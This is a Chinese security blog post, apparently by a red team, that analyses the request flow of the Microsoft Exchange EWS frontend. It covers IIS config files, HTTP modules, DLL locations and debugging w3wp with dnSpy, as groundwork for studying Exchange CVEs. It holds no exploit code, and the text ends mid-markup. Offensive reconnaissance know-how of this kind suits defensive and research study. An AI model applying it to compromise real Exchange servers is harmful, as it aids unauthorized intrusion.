      <description>红队行动中如果能控制目标的exchange服务器就离成功不远了。这两年几乎每隔一段时间都会有新的漏洞出现。研究这些漏洞之前我们需要对exchange整体的架构一个大体的了解，本文是笔者在了解exchange运行机制过程的一些简单记录。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-10-06 09:00</span> <span style="display: inline-block;">江苏</span>
</p>

<p>红队行动中如果能控制目标的exchange服务器就离成功不远了。这两年几乎每隔一段时间都会有新的漏洞出现。研究这些漏洞之前我们需要对exchange整体的架构一个大体的了解，本文是笔者在了解exchange运行机制过程的一些简单记录。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=514c8486&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZW6mDaBuy4u0f5nldVvhZeTvWsmCYq4saF5SkCj9pVdnZicXsrYApaRg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">DotNet安全-Exchange请求流程分析(一)</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">红队行动中如果能控制目标的exchange服务器就离成功不远了。这两年几乎每隔一段时间都会有新的漏洞出现，包括proxy系列漏洞(CVE-2021-26855 、CVE-2021-34473 )、后台的反序列化漏洞(CVE-2021-42321 、CVE-2022-23277 )等。研究这些漏洞之前我们需要对exchange整体的架构一个大体的了解，本文是笔者在了解exchange运行机制过程的一些简单记录，这篇主要关注exchange ews frontend部分的工作原理。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">exchange架构速览</h2><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.48479913137893593" title="null" data-w="1842" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e1e3d101&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZcMNicTMUS4seIQico1Sqd2OSqyplCRq91vBSQE7ASHztutEfyss51ibUQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">exchange包括frontEnd和BackEnd两部分，从前端到后端的代理转发过程就是proxy系列漏洞出现的地方：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.9093264248704663" title="null" data-w="1158" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4b5179ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZKEgZdP2yib38lmgNRcfo1UfGKMAQtzdDWXLusJojhcXHonia6rQDkPkA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">配置文件相关</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先查看iis的全局设置，配置文件为C:\Windows\System32\inetsrv\config\applicationHost.config。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">与iis管理器中的对应，可以明显看到网站的物理路径以及应用池：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.4234875444839858" title="null" data-type="png" data-w="1405" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=930498b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZaTyZ7PobC308c09ogXHhpT2JfKibswblRwlaa2ynJpLndrGOickCupkw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">目录下并没有常规的aspx,ashx等文件，主要是一个web.config文件:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.26790450928381965" title="null" data-type="png" data-w="754" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=103441e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZum8WvQicBeRJcFmshSY4nKMTJVqkdNSKWnZHUv7zLMJLiaVNwHmTb5Bw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">查看该文件，应用功能主要由这几个module实现：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.4143692564745196" title="null" data-type="png" data-w="1197" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e824dfbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ40IFTrhL1gfqKVZyRKnG2aDwesbRxJ7tfTibVHJ7p7SBHicOJWkQyV3w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">moudle的具体申明在c#模块后门中有提及，主要格式为：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"> &lt;add name=&#34;HostHeaderValidationModule&#34; type=&#34;Microsoft.Exchange.HttpUtilities.HostHeaderValidationModule, Microsoft.Exchange.HttpUtilities, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35&#34; /&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Name：模块名，任意值都可以</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Type：第一个参数为命名空间+类名，第二个参数为dll的名字。PublicKeyToken为签名。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在web.config另一个配置项中的文件SharedWebConfig.config可以找到dll对应的物理路径：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.09762532981530343" title="null" data-type="png" data-w="1137" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4bc1345b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZBatGcsSFTvPA99PR4iaOUmJpho7xQibgdALSibfwPHUew0q3KxJUPBHzA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.504" title="null" data-type="png" data-w="1125" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=483e649d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZIM1WYzZ90JNyddneo4Bw4da0I5JxvicbxAcKP2OTH4UnelY3TicTQAWQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">开始调试</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过前面的了解，我们得知ews主要使用的应用池为MSExchangeServicesAppPool</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;application path=&#34;/EWS&#34; applicationPool=&#34;MSExchangeServicesAppPool&#34;&gt;<br/>&lt;virtualDirectory path=&#34;/&#34; physicalPath=&#34;C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\EWS&#34; /&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">几个module对应的dll：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Microsoft.Exchange.HttpUtilities.dll中的HostHeaderValidationModule和AnonymousRequestFilterModule<br/>Microsoft.Exchange.FrontEndHttpProxy.dll中的ProxyModule</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用dnspy将进程挂到MSExchangeServicesAppPool的w3wp.exe进程上</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">HostHeaderValidationModule</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该模块非关键业务逻辑，代码很少</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.5778523489932886" title="null" data-w="1490" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b454cdcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZU3sriaUegfphtdbsOH1tFtnGLMq7Slpd535ln1CNmkvNY4EnRdUNM0Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要判断请求头和ip，如果内网的请求去掉这几个头。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.15453960077269802" title="null" data-w="1553" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e89c42a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZnxJuZvgLBk0K3pb9PJg89u7ssmhGARJ5c5QNhh7nH0Eibt7GYzbicnrQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">HttpRequestFilteringModule</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">读取服务器配置，判断是否开启AMSI，主要是安全方面的设置。比如基础的xss和sql注入防御。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.80306905370844" title="null" data-w="1173" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d83e94dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZs7htVE2IDNaCicoibHjdv2tBKTl1y9WgORnPicPEMMygSeBgPaL4PGpsw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">AnonymousRequestFilterModule</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">只看到判断请求类型就返回401，没看到认证相关的逻辑。推测ntlm认证/basic认证的内容应该不在exchange实现，由iis实现。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.3692699490662139" title="null" data-w="1178" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a592c107&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZiaB3QQcTdicmdFBkRW3w9ibwnFQCleZgIlXUeoPicg1EibwFLFGibicqSBZlA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以看到ews接口默认支持windows认证：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.4" title="null" data-w="885" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=931fa081&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZlgxqvtr0eice0G9VtvanxwZ4lwia88XFKicgeBMj5ON5P3jInicRAfjgXQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">ProxyModule</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这是exchange frontend的关键逻辑部分，主要是这几个完成主要逻辑：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.2532051282051282" title="null" data-w="1248" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f64d386a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZu1QRNkHz47dMp0zgIVXhib77EaIKicWGFWcGfrSAzXavQ1uqibcPU3ehQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">OnBeginRequest主要是对请求的一些处理，比如判断SSL等：![1661950375986]</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.2047808764940239" title="null" data-w="1255" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a84b4436&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZfgwgWcC3rc3eF9kFG20rzJtWBwpujjSamkmiadOjFics04f4CtDzKiaMA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 